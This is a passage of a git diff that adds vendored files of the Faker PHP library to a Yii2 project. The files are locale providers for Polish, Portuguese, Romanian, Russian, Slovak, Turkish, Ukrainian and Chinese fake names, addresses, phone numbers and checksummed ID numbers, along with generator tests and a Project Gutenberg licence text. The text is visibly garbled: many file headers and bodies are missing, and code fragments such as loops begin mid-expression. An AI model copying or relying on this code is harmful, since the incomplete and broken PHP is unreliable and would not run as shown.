$checksum; + + return implode('', $result); + } + + /** + * National Identity Card number + * @link http://en.wikipedia.org/wiki/Polish_National_Identity_Card + * @return string 3 letters and 6 digits, like ABA300000 + */ + public static function personalIdentityNumber() + { + $range = str_split("ABCDEFGHIJKLMNPRSTUVWXYZ"); + $low = array("A", static::randomElement($range), static::randomElement($range)); + $high = array(static::randomDigit(), static::randomDigit(), static::randomDigit(), static::randomDigit(), static::randomDigit()); + $weights = array(7, 3, 1, 7, 3, 1, 7, 3); + $checksum = 0; + for ($i = 0, $size = count($low); $i < $size; $i++) { + $checksum += $weights[$i] * (ord($low[$i]) - 55); + } + for ($i = 0, $size = count($high); $i < $size; $i++) { + $checksum += $weights[$i+3] * $high[$i]; + } + $checksum %= 10; + + return implode('', $low).$checksum.implode('', $high); + } + + /** + * Taxpayer Identification Number (NIP in Polish) + * @link http://en.wikipedia.org/wiki/PESEL#Other_identifiers + * @link http://pl.wikipedia.org/wiki/NIP + * @return string 10 digit number + */ + public static function taxpayerIdentificationNumber() + { + $weights = array(6, 5, 7, 2, 3, 4, 5, 6, 7); + $result = array(); + do { + $result = array( + static::randomDigitNotNull(), static::randomDigitNotNull(), static::randomDigitNotNull(), + static::randomDigit(), static::randomDigit(), static::randomDigit(), + static::randomDigit(), static::randomDigit(), static::randomDigit(), + ); + $checksum = 0; + for ($i = 0, $size = count($result); $i < $size; $i++) { + $checksum += $weights[$i] * $result[$i]; + } + $checksum %= 11; + } while ($checksum == 10); + $result[] = $checksum; + + return implode('', $result); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/pl_PL/PhoneNumber.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/pl_PL/PhoneNumber.php new file mode 100644 index 00000000..52efa3b3 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/pl_PL/PhoneNumber.php @@ -0,0 +1,14 @@ + + + Prof. Hart will answer or forward your message. + + We would prefer to send you information by email. + + + **The Legal Small Print** + + + (Three Pages) + + ***START**THE SMALL PRINT!**FOR PUBLIC DOMAIN EBOOKS**START*** + Why is this "Small Print!" statement here? You know: lawyers. + They tell us you might sue us if there is something wrong with + your copy of this eBook, even if you got it for free from + someone other than us, and even if what's wrong is not our + fault. So, among other things, this "Small Print!" statement + disclaims most of our liability to you. It also tells you how + you may distribute copies of this eBook if you want to. + + *BEFORE!* YOU USE OR READ THIS EBOOK + By using or reading any part of this PROJECT GUTENBERG-tm + eBook, you indicate that you understand, agree to and accept + this "Small Print!" statement. If you do not, you can receive + a refund of the money (if any) you paid for this eBook by + sending a request within 30 days of receiving it to the person + you got it from. If you received this eBook on a physical + medium (such as a disk), you must return it with your request. + + ABOUT PROJECT GUTENBERG-TM EBOOKS + This PROJECT GUTENBERG-tm eBook, like most PROJECT GUTENBERG-tm eBooks, + is a "public domain" work distributed by Professor Michael S. Hart + through the Project Gutenberg Association (the "Project"). + Among other things, this means that no one owns a United States copyright + on or for this work, so the Project (and you!) can copy and + distribute it in the United States without permission and + without paying copyright royalties. Special rules, set forth + below, apply if you wish to copy and distribute this eBook + under the "PROJECT GUTENBERG" trademark. + + Please do not use the "PROJECT GUTENBERG" trademark to market + any commercial products without permission. + + To create these eBooks, the Project expends considerable + efforts to identify, transcribe and proofread public domain + works. Despite these efforts, the Project's eBooks and any + medium they may be on may contain "Defects". Among other + things, Defects may take the form of incomplete, inaccurate or + corrupt data, transcription errors, a copyright or other + intellectual property infringement, a defective or damaged + disk or other eBook medium, a computer virus, or computer + codes that damage or cannot be read by your equipment. + + LIMITED WARRANTY; DISCLAIMER OF DAMAGES + But for the "Right of Replacement or Refund" described below, + [1] Michael Hart and the Foundation (and any other party you may + receive this eBook from as a PROJECT GUTENBERG-tm eBook) disclaims + all liability to you for damages, costs and expenses, including + legal fees, and [2] YOU HAVE NO REMEDIES FOR NEGLIGENCE OR + UNDER STRICT LIABILITY, OR FOR BREACH OF WARRANTY OR CONTRACT, + INCLUDING BUT NOT LIMITED TO INDIRECT, CONSEQUENTIAL, PUNITIVE + OR INCIDENTAL DAMAGES, EVEN IF YOU GIVE NOTICE OF THE + POSSIBILITY OF SUCH DAMAGES. + + If you discover a Defect in this eBook within 90 days of + receiving it, you can receive a refund of the money (if any) + you paid for it by sending an explanatory note within that + time to the person you received it from. If you received it + on a physical medium, you must return it with your note, and + such person may choose to alternatively give you a replacement + copy. If you received it electronically, such person may + choose to alternatively give you a second opportunity to + receive it electronically. + + THIS EBOOK IS OTHERWISE PROVIDED TO YOU "AS-IS". NO OTHER + WARRANTIES OF ANY KIND, EXPRESS OR IMPLIED, ARE MADE TO YOU AS + TO THE EBOOK OR ANY MEDIUM IT MAY BE ON, INCLUDING BUT NOT + LIMITED TO WARRANTIES OF MERCHANTABILITY OR FITNESS FOR A + PARTICULAR PURPOSE. + + Some states do not allow disclaimers of implied warranties or + the exclusion or limitation of consequential damages, so the + above disclaimers and exclusions may not apply to you, and you + may have other legal rights. + + INDEMNITY + You will indemnify and hold Michael Hart, the Foundation, + and its trustees and agents, and any volunteers associated + with the production and distribution of Project Gutenberg-tm + texts harmless, from all liability, cost and expense, including + legal fees, that arise directly or indirectly from any of the + following that you do or cause: [1] distribution of this eBook, + [2] alteration, modification, or addition to the eBook, + or [3] any Defect. + + DISTRIBUTION UNDER "PROJECT GUTENBERG-tm" + You may distribute copies of this eBook electronically, or by + disk, book or any other medium if you either delete this + "Small Print!" and all other references to Project Gutenberg, + or: + + [1] Only give exact copies of it. Among other things, this + requires that you do not remove, alter or modify the + eBook or this "small print!" statement. You may however, + if you wish, distribute this eBook in machine readable + binary, compressed, mark-up, or proprietary form, + including any form resulting from conversion by word + processing or hypertext software, but only so long as + *EITHER*: + + [*] The eBook, when displayed, is clearly readable, and + does *not* contain characters other than those + intended by the author of the work, although tilde + (~), asterisk (*) and underline (_) characters may + be used to convey punctuation intended by the + author, and additional characters may be used to + indicate hypertext links; OR + + [*] The eBook may be readily converted by the reader at + no expense into plain ASCII, EBCDIC or equivalent + form by the program that displays the eBook (as is + the case, for instance, with most word processors); + OR + + [*] You provide, or agree to also provide on request at + no additional cost, fee or expense, a copy of the + eBook in its original plain ASCII form (or in EBCDIC + or other equivalent proprietary form). + + [2] Honor the eBook refund and replacement provisions of this + "Small Print!" statement. + + [3] Pay a trademark license fee to the Foundation of 20% of the + gross profits you derive calculated using the method you + already use to calculate your applicable taxes. If you + don't derive profits, no royalty is due. Royalties are + payable to "Project Gutenberg Literary Archive Foundation" + the 60 days following each date you prepare (or were + legally required to prepare) your annual (or equivalent + periodic) tax return. Please contact us beforehand to + let us know your plans and to work out the details. + + WHAT IF YOU *WANT* TO SEND MONEY EVEN IF YOU DON'T HAVE TO? + Project Gutenberg is dedicated to increasing the number of + public domain and licensed works that can be freely distributed + in machine readable form. + + The Project gratefully accepts contributions of money, time, + public domain materials, or royalty free copyright licenses. + Money should be paid to the: + "Project Gutenberg Literary Archive Foundation." + + If you are interested in contributing scanning equipment or + software or other items, please contact Michael Hart at: + hart@pobox.com + + [Portions of this eBook's header and trailer may be reprinted only + when distributed free of all fees. Copyright (C) 2001, 2002 by + Michael S. Hart. Project Gutenberg is a TradeMark and may not be + used in any sales of Project Gutenberg eBooks or other materials be + they hardware or software or any other related product without + express permission.] + + *END THE SMALL PRINT! FOR PUBLIC DOMAIN EBOOKS*Ver.02/11/02*END* + + */ +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/pt_BR/Address.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/pt_BR/Address.php new file mode 100644 index 00000000..2f3593f5 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/pt_BR/Address.php @@ -0,0 +1,132 @@ +generator->parse($format)))); + } + + /** + * @example 'faber' + */ + public function domainWord() + { + $company = $this->generator->format('company'); + $company = static::toAscii($company); + $companyElements = explode(' ', $company); + $company = $companyElements[0]; + $company = preg_replace('/\W/u', '', $company); + $company = static::toLower($company); + + return $company; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/pt_BR/Payment.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/pt_BR/Payment.php new file mode 100644 index 00000000..51b909fb --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/pt_BR/Payment.php @@ -0,0 +1,19 @@ + 0; $i--) { + $numbers[$i] = substr($number, $i - 1, 1); + $partial[$i] = $numbers[$i] * $factor; + $sum += $partial[$i]; + if ($factor == $base) { + $factor = 1; + } + $factor++; + } + $res = $sum % 11; + + if ($res == 0 || $res == 1) { + $digit = 0; + } else { + $digit = 11 - $res; + } + + return $digit; + } + + /** + * + * @link http://nomesportugueses.blogspot.pt/2012/01/lista-dos-cem-nomes-mais-usados-em.html + */ + + protected static $firstNameMale = array( + 'Rodrigo', 'João', 'Martim', 'Afonso', 'Tomás', 'Gonçalo', 'Francisco', 'Tiago', + 'Diogo', 'Guilherme', 'Pedro', 'Miguel', 'Rafael', 'Gabriel', 'Santiago', 'Dinis', + 'David', 'Duarte', 'José', 'Simão', 'Daniel', 'Lucas', 'Gustavo', 'André', 'Denis', + 'Salvador', 'António', 'Vasco', 'Henrique', 'Lourenço', 'Manuel', 'Eduardo', 'Bernardo', + 'Leandro', 'Luís', 'Diego', 'Leonardo', 'Alexandre', 'Rúben', 'Mateus', 'Ricardo', + 'Vicente', 'Filipe', 'Bruno', 'Nuno', 'Carlos', 'Rui', 'Hugo', 'Samuel', 'Álvaro', + 'Matias', 'Fábio', 'Ivo', 'Paulo', 'Jorge', 'Xavier', 'Marco', 'Isaac', 'Raúl','Benjamim', + 'Renato', 'Artur', 'Mário', 'Frederico', 'Cristiano', 'Ivan', 'Sérgio', 'Micael', + 'Vítor', 'Edgar', 'Kevin', 'Joaquim', 'Igor', 'Ângelo', 'Enzo', 'Valentim', 'Flávio', + 'Joel', 'Fernando', 'Sebastião', 'Tomé', 'César', 'Cláudio', 'Nelson', 'Lisandro', 'Jaime', + 'Gil', 'Mauro', 'Sandro', 'Hélder', 'Matheus', 'William', 'Gaspar', 'Márcio', + 'Martinho', 'Emanuel', 'Marcos', 'Telmo', 'Davi', 'Wilson' + ); + + protected static $firstNameFemale = array( + 'Maria', 'Leonor', 'Matilde', 'Mariana', 'Ana', 'Beatriz', 'Inês', 'Lara', 'Carolina', 'Margarida', + 'Joana', 'Sofia', 'Diana', 'Francisca', 'Laura', 'Sara', 'Madalena', 'Rita', 'Mafalda', 'Catarina', + 'Luana', 'Marta', 'Íris', 'Alice', 'Bianca', 'Constança', 'Gabriela', 'Eva', 'Clara', 'Bruna', 'Daniela', + 'Iara', 'Filipa', 'Vitória', 'Ariana', 'Letícia', 'Bárbara', 'Camila', 'Rafaela', 'Carlota', 'Yara', + 'Núria', 'Raquel', 'Ema', 'Helena', 'Benedita', 'Érica', 'Isabel', 'Nicole', 'Lia', 'Alícia', 'Mara', + 'Jéssica', 'Soraia', 'Júlia', 'Luna', 'Victória', 'Luísa', 'Teresa', 'Miriam', 'Adriana', 'Melissa', + 'Andreia', 'Juliana', 'Alexandra', 'Yasmin', 'Tatiana', 'Leticia', 'Luciana', 'Eduarda', 'Cláudia', + 'Débora', 'Fabiana', 'Renata', 'Kyara', 'Kelly', 'Irina', 'Mélanie', 'Nádia', 'Cristiana', 'Liliana', + 'Patrícia', 'Vera', 'Doriana', 'Ângela', 'Mia', 'Erica', 'Mónica', 'Isabela', 'Salomé', 'Cátia', + 'Verónica', 'Violeta', 'Lorena', 'Érika', 'Vanessa', 'Iris', 'Anna', 'Viviane', 'Rebeca', 'Neuza', + ); + + protected static $lastName = array( + 'Abreu', 'Almeida', 'Alves', 'Amaral', 'Amorim', 'Andrade', 'Anjos', 'Antunes', 'Araújo', 'Assunção', + 'Azevedo', 'Baptista', 'Barbosa', 'Barros', 'Batista', 'Borges', 'Branco', 'Brito', 'Campos', 'Cardoso', + 'Carneiro', 'Carvalho', 'Castro', 'Coelho', 'Correia', 'Costa', 'Cruz', 'Cunha', 'Domingues', 'Esteves', + 'Faria', 'Fernandes', 'Ferreira', 'Figueiredo', 'Fonseca', 'Freitas', 'Garcia', 'Gaspar', 'Gomes', + 'Gonçalves', 'Guerreiro', 'Henriques', 'Jesus', 'Leal', 'Leite', 'Lima', 'Lopes', 'Loureiro', 'Lourenço', + 'Macedo', 'Machado', 'Magalhães', 'Maia', 'Marques', 'Martins', 'Matias', 'Matos', 'Melo', 'Mendes', + 'Miranda', 'Monteiro', 'Morais', 'Moreira', 'Mota', 'Moura', 'Nascimento', 'Neto', 'Neves', 'Nogueira', + 'Nunes', 'Oliveira', 'Pacheco', 'Paiva', 'Pereira', 'Pinheiro', 'Pinho', 'Pinto', 'Pires', 'Ramos', + 'Reis', 'Ribeiro', 'Rocha', 'Rodrigues', 'Santos', 'Silva', 'Simões', 'Soares', 'Sousa', + 'Sá', 'Tavares', 'Teixeira', 'Torres', 'Valente', 'Vaz', 'Vicente', 'Vieira', + ); +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/pt_PT/PhoneNumber.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/pt_PT/PhoneNumber.php new file mode 100644 index 00000000..618a01c6 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/pt_PT/PhoneNumber.php @@ -0,0 +1,50 @@ +generator->parse($format); + } + + public function address() + { + $format = static::randomElement(static::$addressFormats); + + return $this->generator->parse($format); + } + + public function streetAddress() + { + $format = static::randomElement(static::$streetAddressFormats); + + return $this->generator->parse($format); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ro_MD/Person.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ro_MD/Person.php new file mode 100644 index 00000000..4b77fdfb --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ro_MD/Person.php @@ -0,0 +1,90 @@ +generator->parse($format); + } + + /** + * @example 'Cluj' + */ + public function county() + { + return static::randomElement(static::$counties); + } + + public function address() + { + $format = static::randomElement(static::$addressFormats); + + return $this->generator->parse($format); + } + + public function streetAddress() + { + $format = static::randomElement(static::$streetAddressFormats); + + return $this->generator->parse($format); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ro_RO/Person.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ro_RO/Person.php new file mode 100644 index 00000000..76b16582 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ro_RO/Person.php @@ -0,0 +1,202 @@ + '01', 'AR' => '02', 'AG' => '03', 'B' => '40', 'BC' => '04', 'BH' => '05', + 'BN' => '06', 'BT' => '07', 'BV' => '08', 'BR' => '09', 'BZ' => '10', 'CS' => '11', + 'CL' => '51', 'CJ' => '12', 'CT' => '13', 'CV' => '14', 'DB' => '15', 'DJ' => '16', + 'GL' => '17', 'GR' => '52', 'GJ' => '18', 'HR' => '19', 'HD' => '20', 'IL' => '21', + 'IS' => '22', 'IF' => '23', 'MM' => '24', 'MH' => '25', 'MS' => '26', 'NT' => '27', + 'OT' => '28', 'PH' => '29', 'SM' => '30', 'SJ' => '31', 'SB' => '32', 'SV' => '33', + 'TR' => '34', 'TM' => '35', 'TL' => '36', 'VS' => '37', 'VL' => '38', 'VN' => '39', + + 'B1' => '41', 'B2' => '42', 'B3' => '43', 'B4' => '44', 'B5' => '45', 'B6' => '46' + ); + + /** + * Personal Numerical Code (CNP) + * + * @link http://ro.wikipedia.org/wiki/Cod_numeric_personal + * @example 1111111111118 + * + * @param string $gender Valid values: m, f, 1, 2 + * @param integer $century Valid values: 1800, 1900, 2000, 1, 2, 3, 4, 5, 6 + * @param string $county Valid values: 2 letter ISO 3166-2:RO county codes and B1-B6 for Bucharest's 6 sectors + * @return string + * + */ + public function cnp($gender = null, $century = null, $county = null) + { + if (is_null($county) || !array_key_exists($county, static::$cnpCountyCodes)) { + $countyCode = static::randomElement(array_values(static::$cnpCountyCodes)); + } else { + $countyCode = static::$cnpCountyCodes[$county]; + } + + $cnp = (string) static::cnpFirstDigit($gender, $century) + . static::numerify('##') + . sprintf('%02d', $this->generator->month()) + . sprintf('%02d', $this->generator->dayOfMonth()) + . $countyCode + . static::numerify('##%') + ; + + $cnp = static::cnpAddChecksum($cnp); + + return $cnp; + } + + /** + * Calculates the first digit for the Personal Numerical Code (CNP) based on + * the gender and century + * + * @param string $gender Valid values: m, f, 1, 2 + * @param integer $century Valid values: 1800, 1900, 2000, 1, 2, 3, 4, 5, 6 + * @return integer + */ + protected static function cnpFirstDigit($gender = null, $century = null) + { + switch ($century) { + case 1800: + case 3: + case 4: + $centuryCode = 2; + break; + case 1900: + case 1: + case 2: + $centuryCode = 0; + break; + case 2000: + case 5: + case 6: + $centuryCode = 4; + break; + default: + $centuryCode = static::randomElement(array(0, 2, 4, 6, 9)); + } + + switch (strtolower($gender)) { + case 'm': + case 1: + $genderCode = 1; + break; + case 'f': + case 2: + $genderCode = 2; + break; + default: + $genderCode = static::randomElement(array(1, 2)); + } + + $firstDigit = $centuryCode + $genderCode; + + return ($firstDigit > 9) ? 9 : $firstDigit; + } + + /** + * Calculates a checksum for the Personal Numerical Code (CNP). + * + * @param string $cnp Randomly generated CNP + * @return string CNP with the last digit altered to a proper checksum + */ + protected static function cnpAddChecksum($cnp) + { + $checkNumber = 279146358279; + + $checksum = 0; + foreach (range(0, 11) as $digit) { + $checksum += substr($cnp, $digit, 1) * substr($checkNumber, $digit, 1); + } + $checksum = $checksum % 11; + + return substr($cnp, 0, 12) . ($checksum == 10 ? 1 : $checksum); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ro_RO/PhoneNumber.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ro_RO/PhoneNumber.php new file mode 100644 index 00000000..9e3c07fe --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ro_RO/PhoneNumber.php @@ -0,0 +1,67 @@ + array( + '021#######', // Bucharest + '023#######', + '024#######', + '025#######', + '026#######', + '027#######', // non-geographic + '031#######', // Bucharest + '033#######', + '034#######', + '035#######', + '036#######', + '037#######', // non-geographic + ), + 'mobile' => array( + '07########', + ) + ); + + protected static $specialFormats = array( + 'toll-free' => array( + '0800######', + '0801######', // shared-cost numbers + '0802######', // personal numbering + '0806######', // virtual cards + '0807######', // pre-paid cards + '0870######', // internet dial-up + ), + 'premium-rate' => array( + '0900######', + '0903######', // financial information + '0906######', // adult entertainment + ) + ); + + /** + * @link http://en.wikipedia.org/wiki/Telephone_numbers_in_Romania#Last_years + */ + public static function phoneNumber() + { + $type = static::randomElement(array_keys(static::$normalFormats)); + $number = static::numerify(static::randomElement(static::$normalFormats[$type])); + + return $number; + } + + public static function tollFreePhoneNumber() + { + $number = static::numerify(static::randomElement(static::$specialFormats['toll-free'])); + + return $number; + } + + public static function premiumRatePhoneNumber() + { + $number = static::numerify(static::randomElement(static::$specialFormats['premium-rate'])); + + return $number; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ru_RU/Address.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ru_RU/Address.php new file mode 100644 index 00000000..0f2c3cf2 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ru_RU/Address.php @@ -0,0 +1,152 @@ +generator->parse($format); + } + + public static function country() + { + return static::randomElement(static::$country); + } + + public static function postcode() + { + return static::toUpper(static::bothify(static::randomElement(static::$postcode))); + } + + public static function regionSuffix() + { + return static::randomElement(static::$regionSuffix); + } + + public static function region() + { + return static::randomElement(static::$region); + } + + public static function cityPrefix() + { + return static::randomElement(static::$cityPrefix); + } + + public static function city() + { + return static::randomElement(static::$city); + } + + public static function streetPrefix() + { + return static::randomElement(static::$streetPrefix); + } + + public static function street() + { + return static::randomElement(static::$street); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ru_RU/Color.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ru_RU/Color.php new file mode 100644 index 00000000..d4df282f --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ru_RU/Color.php @@ -0,0 +1,23 @@ +generator->parse($format)))); + } + + /** + * @example 'faber' + */ + public function domainWord() + { + $company = $this->generator->format('company'); + $companyElements = explode(' ', $company); + $company = $companyElements[0]; + $company = preg_replace('/\W/u', '', $company); + + return static::toLower(static::toAscii($company)); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ru_RU/Person.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ru_RU/Person.php new file mode 100644 index 00000000..4607a369 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/ru_RU/Person.php @@ -0,0 +1,116 @@ +toAscii(parent::email()); + } + + public function userName() + { + return $this->toAscii(parent::userName()); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/sk_SK/Payment.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/sk_SK/Payment.php new file mode 100644 index 00000000..e3be2a69 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/sk_SK/Payment.php @@ -0,0 +1,19 @@ +generator->parse(static::randomElement(static::$lastNameFormat)); + } + + public static function lastNameMale() + { + return static::randomElement(static::$lastNameMale); + } + + public static function lastNameFemale() + { + return static::randomElement(static::$lastNameFemale); + } + + /** + * @example 'PhD' + */ + public static function suffix() + { + return static::randomElement(static::$suffix); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/sk_SK/PhoneNumber.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/sk_SK/PhoneNumber.php new file mode 100644 index 00000000..1baf7ccf --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/sk_SK/PhoneNumber.php @@ -0,0 +1,15 @@ +generator->parse($format)))); + } + + /** + * @example 'faber' + */ + public function domainWord() + { + $company = $this->generator->format('company'); + $companyElements = explode(' ', $company); + $company = $companyElements[0]; + $company = preg_replace('/\W/u', '', $company); + + return static::toLower(static::toAscii($company)); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/tr_TR/Payment.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/tr_TR/Payment.php new file mode 100644 index 00000000..1d344dfe --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/tr_TR/Payment.php @@ -0,0 +1,19 @@ +generator->parse($format); + } + + public static function streetPrefix() + { + return static::randomElement(static::$streetPrefix); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/uk_UA/Color.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/uk_UA/Color.php new file mode 100644 index 00000000..197cc3b6 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/uk_UA/Color.php @@ -0,0 +1,23 @@ +generator->parse($format); + } + + public static function companyPrefix() + { + return static::randomElement(static::$companyPrefix); + } + + public static function companyName() + { + return static::randomElement(static::$companyName); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/uk_UA/Internet.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/uk_UA/Internet.php new file mode 100644 index 00000000..e7e1c6f3 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/uk_UA/Internet.php @@ -0,0 +1,47 @@ +generator->parse($format)))); + } + + /** + * @example 'smart-dizayn' + */ + public function domainWord() + { + $company = $this->generator->format('company'); + $companyElements = explode(' ', $company); + $company = $companyElements[0]; + $company = preg_replace('/\W/u', '', $company); + + return static::toLower(static::toAscii($company)); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/uk_UA/Person.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/uk_UA/Person.php new file mode 100644 index 00000000..a444b8b5 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/uk_UA/Person.php @@ -0,0 +1,58 @@ +city() . static::area(); + } + + public static function postcode() + { + $prefix = str_pad(mt_rand(1, 85), 2, 0, STR_PAD_LEFT); + $suffix = '00'; + + return $prefix . mt_rand(10, 88) . $suffix; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/zh_CN/Company.php b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/zh_CN/Company.php new file mode 100644 index 00000000..4a5a738c --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/Faker/Provider/zh_CN/Company.php @@ -0,0 +1,26 @@ +unique() + */ +class UniqueGenerator +{ + protected $generator; + protected $maxRetries; + protected $uniques = array(); + + public function __construct(Generator $generator, $maxRetries) + { + $this->generator = $generator; + $this->maxRetries = $maxRetries; + } + + /** + * Catch and proxy all generator calls but return only unique values + */ + public function __get($attribute) + { + return $this->__call($attribute, array()); + } + + /** + * Catch and proxy all generator calls with arguments but return only unique values + */ + public function __call($name, $arguments) + { + if (!isset($this->uniques[$name])) { + $this->uniques[$name] = array(); + } + $i = 0; + do { + $res = call_user_func_array(array($this->generator, $name), $arguments); + $i++; + if ($i > $this->maxRetries) { + throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a unique value', $this->maxRetries)); + } + } while (in_array($res, $this->uniques[$name])); + $this->uniques[$name][]= $res; + + return $res; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/src/autoload.php b/php/yii2/basic/vendor/fzaninotto/faker/src/autoload.php new file mode 100644 index 00000000..69324ba3 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/src/autoload.php @@ -0,0 +1,27 @@ +assertSame(null, $generator->value); + } + + public function testGeneratorReturnsDefaultValueForAnyPropertyGet() + { + $generator = new DefaultGenerator(123); + $this->assertSame(123, $generator->foo); + $this->assertNotSame(null, $generator->bar); + } + + public function testGeneratorReturnsDefaultValueForAnyMethodCall() + { + $generator = new DefaultGenerator(123); + $this->assertSame(123, $generator->foobar()); + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/GeneratorTest.php b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/GeneratorTest.php new file mode 100644 index 00000000..147d9ddd --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/GeneratorTest.php @@ -0,0 +1,129 @@ +addProvider(new FooProvider()); + $generator->addProvider(new BarProvider()); + $this->assertEquals('barfoo', $generator->format('fooFormatter')); + } + + public function testGetFormatterReturnsCallable() + { + $generator = new Generator; + $provider = new FooProvider(); + $generator->addProvider($provider); + $this->assertTrue(is_callable($generator->getFormatter('fooFormatter'))); + } + + public function testGetFormatterReturnsCorrectFormatter() + { + $generator = new Generator; + $provider = new FooProvider(); + $generator->addProvider($provider); + $expected = array($provider, 'fooFormatter'); + $this->assertEquals($expected, $generator->getFormatter('fooFormatter')); + } + + /** + * @expectedException InvalidArgumentException + */ + public function testGetFormatterThrowsExceptionOnIncorrectProvider() + { + $generator = new Generator; + $generator->getFormatter('fooFormatter'); + } + + /** + * @expectedException InvalidArgumentException + */ + public function testGetFormatterThrowsExceptionOnIncorrectFormatter() + { + $generator = new Generator; + $provider = new FooProvider(); + $generator->addProvider($provider); + $generator->getFormatter('barFormatter'); + } + + public function testFormatCallsFormatterOnProvider() + { + $generator = new Generator; + $provider = new FooProvider(); + $generator->addProvider($provider); + $this->assertEquals('foobar', $generator->format('fooFormatter')); + } + + public function testFormatTransfersArgumentsToFormatter() + { + $generator = new Generator; + $provider = new FooProvider(); + $generator->addProvider($provider); + $this->assertEquals('bazfoo', $generator->format('fooFormatterWithArguments', array('foo'))); + } + + public function testParseReturnsSameStringWhenItContainsNoCurlyBraces() + { + $generator = new Generator(); + $this->assertEquals('fooBar#?', $generator->parse('fooBar#?')); + } + + public function testParseReturnsStringWithTokensReplacedByFormatters() + { + $generator = new Generator(); + $provider = new FooProvider(); + $generator->addProvider($provider); + $this->assertEquals('This is foobar a text with foobar', $generator->parse('This is {{fooFormatter}} a text with {{ fooFormatter }}')); + } + + public function testMagicGetCallsFormat() + { + $generator = new Generator; + $provider = new FooProvider(); + $generator->addProvider($provider); + $this->assertEquals('foobar', $generator->fooFormatter); + } + + public function testMagicCallCallsFormat() + { + $generator = new Generator; + $provider = new FooProvider(); + $generator->addProvider($provider); + $this->assertEquals('foobar', $generator->fooFormatter()); + } + + public function testMagicCallCallsFormatWithArguments() + { + $generator = new Generator; + $provider = new FooProvider(); + $generator->addProvider($provider); + $this->assertEquals('bazfoo', $generator->fooFormatterWithArguments('foo')); + } + +} + +class FooProvider +{ + public function fooFormatter() + { + return 'foobar'; + } + + public function fooFormatterWithArguments($value = '') + { + return 'baz' . $value; + } +} + +class BarProvider +{ + public function fooFormatter() + { + return 'barfoo'; + } +} diff --git a/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/PHPUnit/Framework/Constraint/IsValidSiren.php b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/PHPUnit/Framework/Constraint/IsValidSiren.php new file mode 100644 index 00000000..d1502d01 --- /dev/null +++ b/php/yii2/basic/vendor/fzaninotto/faker/test/Faker/PHPUnit/Framework/Constraint/IsValidSiren.php @@ -0,0 +1,18 @@ +getLength()) { + return false; + } + + $sum = 